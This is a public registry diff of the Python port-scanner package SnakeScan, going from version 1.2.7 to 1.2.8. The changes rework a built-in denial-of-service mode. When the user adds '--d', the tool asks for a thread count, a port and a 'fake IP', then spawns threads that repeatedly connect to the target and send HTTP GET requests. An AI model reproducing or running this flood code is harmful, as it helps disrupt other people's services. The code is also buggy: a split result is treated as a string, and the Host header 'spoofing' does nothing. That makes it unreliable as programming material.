SnakeScan 1.2.7__tar.gz → 1.2.8__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
"""Module SnakeScan"""
|
|
2
|
-
__version__="1.2.
|
|
2
|
+
__version__="1.2.8"
|
|
3
3
|
import socket
|
|
4
4
|
from art import tprint
|
|
5
5
|
from datetime import datetime
|
|
@@ -10,7 +10,7 @@ portsopen=0
|
|
|
10
10
|
portsclosed=0
|
|
11
11
|
Run_now=True
|
|
12
12
|
Bool=True
|
|
13
|
-
boolsd=
|
|
13
|
+
boolsd=True
|
|
14
14
|
global num
|
|
15
15
|
num=0
|
|
16
16
|
boolean=0
|
|
@@ -37,6 +37,19 @@ def is_port_open(host,port):
|
|
|
37
37
|
else:
|
|
38
38
|
s.close()
|
|
39
39
|
return True
|
|
40
|
+
def dos_threads(host,port,fake_ip):
|
|
41
|
+
host=host.strip("--d")
|
|
42
|
+
host=host.strip()
|
|
43
|
+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
44
|
+
try:
|
|
45
|
+
s.connect((host,port))
|
|
46
|
+
s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
|
|
47
|
+
s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
|
|
48
|
+
s.close()
|
|
49
|
+
return True
|
|
50
|
+
except:
|
|
51
|
+
s.close()
|
|
52
|
+
return False
|
|
40
53
|
def is_port_open_threads(host,port):
|
|
41
54
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
42
55
|
try:
|
|
@@ -53,18 +66,6 @@ def is_port_open_threads(host,port):
|
|
|
53
66
|
s.close()
|
|
54
67
|
else:
|
|
55
68
|
print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
|
|
56
|
-
def dos_threads(host,port,fake_ip):
|
|
57
|
-
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
58
|
-
#Connect
|
|
59
|
-
try:
|
|
60
|
-
s.connect((host,port))
|
|
61
|
-
s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
|
|
62
|
-
s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
|
|
63
|
-
s.close()
|
|
64
|
-
return False
|
|
65
|
-
except:
|
|
66
|
-
s.close()
|
|
67
|
-
return True
|
|
68
69
|
print("–"*60)
|
|
69
70
|
tprint("SnakeScan")
|
|
70
71
|
print("–"*60)
|
|
@@ -72,28 +73,32 @@ print(f"Release:{__version__}".rjust(60))
|
|
|
72
73
|
print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
|
|
73
74
|
while Run_now:
|
|
74
75
|
host=input(f"{colored('[$]','green')}Host-->")
|
|
75
|
-
if "--d" in host:
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
host=host.strip("
|
|
79
|
-
|
|
76
|
+
if "http://" in host and "--d" in host:
|
|
77
|
+
host=host.strip().strip("--d")
|
|
78
|
+
host=host.split("http:")
|
|
79
|
+
host=host.strip("//")
|
|
80
|
+
host=host+""+"--d"
|
|
81
|
+
for i in range(len(host)):
|
|
80
82
|
if host[i] == "/":
|
|
81
83
|
host=host[0:i]
|
|
82
|
-
|
|
83
|
-
host=host.strip(
|
|
84
|
-
|
|
84
|
+
if "https://" in host and "--d" in host:
|
|
85
|
+
host=host.strip().strip("--d")
|
|
86
|
+
host=host.strip("https:")
|
|
87
|
+
host=host.strip("//")
|
|
88
|
+
host=host+""+"--d"
|
|
89
|
+
for i in range(len(host)):
|
|
85
90
|
if host[i] == "/":
|
|
86
91
|
host=host[0:i]
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
finally:
|
|
93
|
-
if boolsd:
|
|
92
|
+
if "--d" in host:
|
|
93
|
+
try:
|
|
94
|
+
host=host.strip("--d")
|
|
95
|
+
host=host.strip()
|
|
96
|
+
host=socket.gethostbyname(host)
|
|
94
97
|
host=host+""+"--d"
|
|
98
|
+
except:
|
|
99
|
+
print(f"{host} is not avaible")
|
|
100
|
+
continue
|
|
95
101
|
if "--d" in host:
|
|
96
|
-
host=host.strip("--d").strip()
|
|
97
102
|
try:
|
|
98
103
|
threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
|
|
99
104
|
dos_port=int(input(f"{colored('[$]','green')}Port-->"))
|
|
@@ -107,20 +112,28 @@ while Run_now:
|
|
|
107
112
|
dos_port=int(input(f"{colored('[$]','green')}Port-->"))
|
|
108
113
|
fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
|
|
109
114
|
|
|
110
|
-
except:
|
|
115
|
+
except Exception as error:
|
|
116
|
+
print(f"Error:{error}")
|
|
111
117
|
continue
|
|
112
118
|
if threadsnum:
|
|
113
|
-
break
|
|
119
|
+
break
|
|
114
120
|
for dos in range(0,threadsnum):
|
|
115
121
|
num+=1
|
|
116
122
|
t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
|
|
117
123
|
t.start()
|
|
118
124
|
t.join()
|
|
119
125
|
if dos_threads(host,dos_port,fake_ip):
|
|
120
|
-
print("Host or Port not avaible")
|
|
121
|
-
else:
|
|
122
126
|
print("Dos-Information".center(60,"-"))
|
|
123
|
-
print(f"{colored('[$]','green')}Threads--> {num} GET/
|
|
127
|
+
print(f"{colored('[$]','green')}Threads--> {num} GET/HTTP/1.1")
|
|
128
|
+
|
|
129
|
+
else:
|
|
130
|
+
try:
|
|
131
|
+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
132
|
+
host=host.strip("--d")
|
|
133
|
+
host=socket.gethostbyname(host)
|
|
134
|
+
s.connect((host,dos_port))
|
|
135
|
+
except Exception as error:
|
|
136
|
+
print(f"Error:{error}")
|
|
124
137
|
continue
|
|
125
138
|
if host == "Exit" or host == "exit":
|
|
126
139
|
break
|
|
File without changes
|
|
File without changes
|
|
File without changes
|